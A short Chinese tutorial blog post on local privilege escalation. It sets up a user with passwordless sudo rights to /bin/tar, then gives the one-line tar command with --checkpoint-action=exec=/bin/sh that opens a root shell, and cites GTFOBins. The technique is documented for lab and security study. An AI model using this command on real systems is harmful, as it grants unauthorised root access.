tar提权,--checkpoint和--checkpoint-action参数

发布时间 2023-03-30 16:53:09作者: Jungle-zt

tar命令拥有root用户或者高权限的执行用户权限时,可以配合--checkpoint--checkpoint-action参数进行权限的提升

环境部署:
创建一个jackson用户并设置密码

useradd jackson
passwd jackson

/etc/sudoers文件中加入该配置项

jackson ALL=(root) NOPASSWD: /bin/tar

切换到jackson用户使用sudo -l查看权限

可以看到jackson用户可以使用tar命令

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

/bin/sh为需要执行的命令,执行whoami

参考:https://gtfobins.github.io/gtfobins/tar/